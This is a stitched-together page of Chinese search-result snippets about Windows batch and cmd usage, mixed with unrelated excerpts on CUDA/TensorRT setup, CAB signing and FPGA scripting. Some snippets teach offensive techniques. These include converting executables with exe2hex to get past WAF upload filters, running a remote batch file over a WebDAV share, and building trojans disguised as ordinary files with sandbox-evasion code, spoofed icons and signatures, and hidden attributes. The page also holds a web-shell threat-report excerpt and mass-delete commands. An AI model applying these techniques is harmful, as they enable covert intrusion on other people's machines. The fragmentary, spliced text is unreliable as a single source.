今天芒果要跟大家一起介(tu)绍(cao)一下bat批处理命令~ 批处理文件,顾名思义,是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT或者CMD。这些命令统称批处理命令。...必须是.bat或者.cmd扩展名文件。...例:start"C:\Program Files\internet explorer\iexplore.exe" “https://www.baidu.com/” 7、if if命令执行bat脚本里的条件处理...,可以使用通配符; command指定对每个文件执行的命令; command-parameters为特定命令指定参数或命令行开关。...usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后 引号的字符串并且一个单引号字符为文字字符串命令并允 许在 file-set中使用双引号扩起文件名称。
[TOC] 0x00 前言 描述:作为一个网络安全从业者,您可能会常常在渗透测试中遇到只有一个Shell情况下如何将可执行文件上传到一台windows机器上(主要由于没有界面操作),我在实际渗透测试中将我的经验和方法进行分享...Debug它还有一个功能可以将十六进制代码转换为可执行文件: 实际测试利用kali中的exe2hex.exe exe2hex -x demo.exe [*] exe2hex v1.5.1 [i] Outputting...to /root/demo.bat (BATch) and /root/demo.cmd (PoSh) [+] Successfully wrote (BATch) /root/demo.bat #cmd...补充说明: 生成的demo.cmd可以采用Powershell来进行hex转成为exe可执行文件 ? WeiyiGeek....0x02 补充方式 描述:采用当使用UNC/WebDAV时候多的几种姿势可以利用其来执行可执行脚本 cmd.exe /k < \\webdavserver\folder\batchfile.txt (
[TOC] 0x00 前言 描述:作为一个网络安全从业者,您可能会常常在渗透测试中遇到只有一个Shell情况下如何将可执行文件上传到一台windows机器上(主要由于没有界面操作),我在实际渗透测试中将我的经验和方法进行分享...Debug它还有一个功能可以将十六进制代码转换为可执行文件: 实际测试利用kali中的exe2hex.exe exe2hex -x demo.exe [*] exe2hex v1.5.1 [i] Outputting...to /root/demo.bat (BATch) and /root/demo.cmd (PoSh) [+] Successfully wrote (BATch) /root/demo.bat #cmd...补充说明: 生成的demo.cmd可以采用Powershell来进行hex转成为exe可执行文件 WeiyiGeek....---- 0x02 补充方式 描述:采用当使用UNC/WebDAV时候多的几种姿势可以利用其来执行可执行脚本 cmd.exe /k < \\webdavserver\folder\batchfile.txt
如下图,进入cudnn解压所在文件夹中include,拷贝所有头文件,粘贴到CUDA/v11.2/include中 lib、bin中的文件也拷贝到对应cuda目录中 重启系统 2.2.4 下载 tensorrt8.4.2.4...将文件名修改为:"「opencv_world455.lib」" 请记住,制作属性表就3个步骤: 拷贝include路径 拷贝lib路径,外加设置dll到系统环境变量 拷贝lib文件名称 2.3.2 创建...\ThirdParty\TensorRT-8.4.2.4\samples\common\windows # lib路径 F:\ThirdParty\TensorRT-8.4.2.4\lib # lib文件名称...+目录] -> [库目录] -> [编辑] -> 把上述lib路径拷贝进去 step3:选择:[通用属性] -> [链接器] -> [输入] -> [附加依赖项] -> [编辑] -> 将上述lib文件名称拷贝进去...3.3.2 编译运行 上面视频在vs2019中设置命令行参数,您也可以在CMD命令行上运行程序,如下: # 下面参数解释 # --show 表示可视化结果 # --savePath 表示保存,默认保存在
这里有好多文件: 如何删除掉里面的exe文件呢?需要使用删除命令del /q /s /f *.exe。*是通配符,这句命令的意思就是删除所有匹配后缀为.exe的文件。...(set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。...usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且一个单 引号字符为文字字符串命令并允许在 file-set 中使用双引号扩起文件名称。...该字符串会 被当作命令行,传递到一个子 CMD.EXE,其输出会被捕获到 内存中,并被当作文件分析。...如果执行的命令行的第一个符号没有扩展名,CMD.EXE 会使用 PATHEXT 环境变量的数值来决定要以什么顺序寻找哪些扩展 名。
定义makecab.bat makecab.exe /f "cab.ddf" 2.4. 执行makecab.bat就会生成CAB包 2. 签名 1. ...制作cer证书 使用makecert.exe工具生成cer证书(工具在`C:\Program Files\Microsoft SDKs\Windows\v7.0A\bin`) cmd命令 makecert...-r -n "CN=发行者名称" -b 01/01/2012 -e 01/01/2018 -sv 证书文件名称.pvk 证书文件名称.cer 注意:执行命令后将弹出私钥密码对话框,可以设置或不设置私密...(可选项)将cer证书转换为spc证书 使用cert2spc.exe工具(工具在`C:\Program Files\Microsoft SDKs\Windows\v7.0A\bin`) cmd...PE结构中即可)。
帮助文档 下面我们介绍如何使用命令行脚本,一键bit转换mcs,一键bit文件下载,一键mcs文件下载 准备工作 1.把iMPACT添加到环境变量,impact.exe文件路径为: your_path...可以在终端输入命令执行这个脚本文件: impact -batch ./bit_to_mcs.cmd ?...终端执行 当然也可以再写一个文件执行这个脚本,新建run_bit_to_mcs.cmd文件,内容如下: impact.exe -batch bit_to_mcs.cmd echo "bit to mcs...新建run_program_bit.cmd impact.exe -batch program_bit.cmd echo "bit file program success!"...,mcs文件为当前目录下的top.mcs,数据位宽为1 新建run_program_mcs.cmd文件,内容如下: impact.exe -batch program_mcs.cmd echo "mcs
0x00 批处理(Batch)命令返回值 描述: 在 Windows 批处理脚本中,类似于 Shell 其也是支持 if...eles 条件判断, 不过在介绍语句前我们先来看看其命令行执行返回值,你可以将其认为返回错误参数相当于...weiyigeek\weiyigeek Program had return code 0 0x01 批处理(Batch)条件判断 描述: 批处理中主要使用 if 语句命令执行批处理程序中的条件处理。...: "打开计算器" "AB 变量,貌似不存在" 3.IF [NOT] CMDEXTVERSION variable (命令) ELSE (命令) 描述: 通常在DOS(CMD.EXE)启动后,其运行环境中已经内置很多预定义变量...CMDEXTVERSION 就是其中一个,我们如果想获取当前CMD.EXE的命令扩展版本号,即可以通过%CMDEXTVERSION%环境变量获取。...如果当前 CMD.EXE 启用了命令扩展,则CMDEXTVERSION会被预定义 如果当前 CMD.EXE 禁用命令扩展,则CMDEXTVERSION不会被预定义 :: # CMD 终端展示 echo
我们都知道如何在 cmd.exe 中启动一个程序,但是当你需要自动启动这个程序的时候,你就需要知道如何通过 cmd.exe 来启动一个程序,而不是手工输入然后回车运行了。...比如下面的 FRP 反向代理程序: 那么我们如何能够借助于 cmd.exe 来启动它呢?接下来说明。...顺便,使用 PowerShell 来启动的方法可以参见我的另一篇博客: PowerShell 的命令行启动参数(可用于执行命令、传参或进行环境配置) - 吕毅 cmd.exe 的帮助文档 先打开一个 cmd...cmd.exe 启动参数使用中的坑 在上面的例子中,我们的路径中不涉及到空格。我们知道,路径中有空格的话,在命令行中使用需要加上引号。...你 可以在机器上和/或用户登录会话上启用或停用 CMD.EXE 所有 调用的延迟扩展,这要通过设置使用 REGEDIT.EXE 的注册表中的 一个或两个 REG_DWORD 值: 1 2 3 4
32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。...(set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。...usebackq – 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且 引号字符为文字字符串命令并允许在 fi 中使用双引号扩起文件名称。...该字符串会 被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进 内存,并被当作文件分析。...文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
forfiles /p "d:\test" /s /m *.* /d -7 /c "cmd /c del @path" 做成批处理文件,bat文件与forfiles.exe同一目录下,建一个bat.../d 指定一个日期或天数,用于比较文件的最后修改日期是否符合条件。 /c 对每个找到的文件执行的命令。.../m : 文件查找所使用的通配符如代码中的"*.log"则为所有日志文件,当然也可以指定诸如"manmee_*.log"这样以manmee开头的所有日志文件。如果不指定此参数则默认为"*.*"。.../c 对所有文件以此执行指定的命令,命令体须在双引号(")内,默认是"cmd /c echo @file"。上文中用到的是"cmd /c del /f @path"删除指定文件。...下面说一下上文中用到的参数: @PATH : 表示文件的完整的路径。 @File : 表示文件名称。 其他参数的详细介绍点击这里。
攻击者使用net.exe执行侦察,使用nbstat.exe扫描其他目标系统,最终使用PsExec横向移动。...攻击者在其他系统上安装了额外的web shell,并在outlookweb Access(OWA)服务器上安装了DLL后门。...在对这些类型的攻击的调查中,发现文件中的web shell试图使用web服务器中合法文件名称隐藏或混合,例如: index.aspx fonts.aspx css.aspx global.aspx default.php...KRYPTON在一个ASP.NET页面中使用了用C#编写的web shell: ? 一旦web shell成功插入web服务器,攻击者就可以在web服务器上执行各种任务。...w3wp.exe在通常不执行诸如“MSExchangeOWAAppPool”进程的应用程序池中运行的任何cmd.exe进程都应被视为异常并视为潜在的恶意行为。 ? ? ?
可以使用exe2hex中的内置 Telnet 或 WinEXE 选项自动将文件传输到目标计算机。...) -b 输出到 BATch /或 PoSH (-b file.bat-p powershell.cmd) 用法示例 创建 BATch & PowerShell 文件: 这里我随便写了一个exe程序 exe2hex...-x chao.exe 可以看到,exe2hex将exe文件转变成了cmd和bat文件。...可以使用标准输入 () 中的二进制文件或管道。STDIN 通过 Telnet 和/或 WinEXE 自动传输。...由于部分机器的WAF会限制文件上传/下载exe。于是提出了一种使用exe2hex绕过这些防御机制的方法。将其转变为编码形式,最后再次构造 exe 并执行它。
启动成功之后的效果 服务启动后,重新执行Bat脚本,效果如下图 三、封装为服务的方式运行 建议把Bat脚本打包为Windows服务器的方式运行,如果直接使用cmd窗口运行的话,有被关掉的风险,使用后台运行的方式更加可靠...可以参考如下三种方式: 3.1 NSSM 使用nssm(Non-Sucking Service Manager)工具来将.bat脚本转换为服务。具体如何操作,可以官网查看。...创建一个C# Windows服务项目,并在其中添加对批处理文件的调用逻辑。...可执行文件,然后通过命令行工具 sc 或者安装util(在.NET Framework中可用)将这个.exe注册为系统服务。...Service Display Name" 3.3 开源的Java工具winsw 使用它可以将任何可执行文件包装成Windows服务。
1 用二种方法打开DOS命令窗口 1.1 进入DOS命令行界面方法一 在Windows 2000/XP/2003的开始菜单中执行“开始/运行”命令,在运行对话框中键入“cmd”命令,可进入命令行界面。...(9)command:指定要运行的 Windows 2000 命令、程序(.exe 或 .com 文件)或批处理程序(.bat 或 .cmd 文件)。...如果命令不是可执行 (.exe) 文件,必须在命令前加上 cmd /c,例如: cmd /c dir > c:\test.out 实例: (1)列出本机已有的计划命令。...; (3)在文件名称中可以使用通配符; (4)若要删除磁盘上的所有文件(DEL*?...EXE.COM等为扩展名的文件,其显示的内容是无法阅读的,没有实际意义2; (2)该命令一次只可以显示一个文件的内容,不能使用通配符; (3)如果文件有扩展名,则必须将扩展名写上; (4)当文件较长
#例如,/-W,/b:只有文件与目录名 dir /-w * dir /b WeiyiGeek. #5.采用递归和通配符进行查询指定目录和所有子目录中得文件 dir *.exe /S #6.批处理中可以使用批量后缀名查找指定目录中的文件...除非 COPY命令是在一个批处理脚本中执行的,默认值应为在覆盖时进行提示 要附加文件,请为目标指定一个文件,为源指定数个文件(用通配符或 file1+file2+file3 格式) 基础案例: #1....问题1.运行代码后,提出警告信息“警告: 做大量排序时使用重定向输出通常比直接指定输出文件名称来排序慢。”...WeiyiGeek. ---- 文件验证 verify 命令 描述:指示 cmd.exe 是否要验证文件是否已正确地写入磁盘。...#指示 cmd.exe 是否要验证文件是否已正确地写入磁盘。
,并在桌面上放置反钓鱼木马文件xx蓝方信息表 这里使用的是lnk文件,制作方法可通过后面的lnk文件制作模块进行查阅,为了实现解压文件的时候不可预览内容,我们需要选择rar压缩文件进行加密 这样解压之后就只有一个独立的..., processName) { // 进程名称和源文件名称相同,正常运行 // 在这里执行正常的操作 } else { // 进程名称和源文件名称不同,可能在沙箱环境中运行...// 在这里执行相应的防沙箱操作 os.Exit(0) // 退出程序 } } 资源替换 做完免杀马,那接下来肯定需要伪装成正常的文件,图标和签名是很重要的一环,且可以一定程度规避...//github.com/JarlPenguin/BeCyIconGrabberPortable 图标替换 Resource hacker 木马捆绑器 反制过程中如果攻击者运行文件之后没有任何反应,...-s -h -r C:\Users\Public\xxx.exe 根目录下的快捷方式修改目标属性,相对路径指向真实的马儿 %windir%\system32\cmd.exe /c start .\.
现将主要代码解释如下: 1、遍历任意文件夹下所有文件名称 程序写好后,使用 pyinstaller 打包成 exe 程序,并放在要操作的文件夹下面。...通过 path = os.getcwd()命令,获取该 exe 文件所在目录。...通过 files = os.listdir(path)命令,获取 exe 文件所在目录下的所有文件名称,并存入 files 列表中。...这样我们就获得了所有的 txt 文件名称,你可以任意命名你的 txt 文件名,程序都能读出来。 2、将数据写入数据库 (1)连接数据库,并在数据库中创建新表 A....1、创建一个新表,用来存储清洗后的数据 可以在 cmd 窗口下登陆 MySQL,打开 qq 数据库,执行下列操作: CREATE TABLE qq_dist ( id int(5) NOT NULL auto_increment
type xxx 显示文本文件的内容 ver 显示windows 的版本 where XXX 例如where java 可以看到java.exe的执行目录 这种可以帮我们检查该指令的执行exe是哪里...当我们通过环境变量配置完路径之后,我们cmd输入的相关指令就在该路径下遍历查找是否有exe文件可以执行相关命令。...如果能够找到,就会有该exe执行,如果找不到。那么就会提示 :不是内部或外部命令,也不是可运行的程序或批处理文件。 4....快捷技巧 输入文件名称时,可以通过tab键自动补全 (前提条件是该路径下只有这一个文件名匹配) 在文件资源器中的地址栏输入cmd+回车 可以快速打开cmd 并且自动跳转到该文件目录下。...批处理其实和我们在cmd中输入命令效果是一样的。 windows 11 查询电脑存储的wifi密码 (zinyan.com) 在这篇文章中就有关于cmd的批处理指令的使用。
领取专属 10元无门槛券
手把手带您无忧上云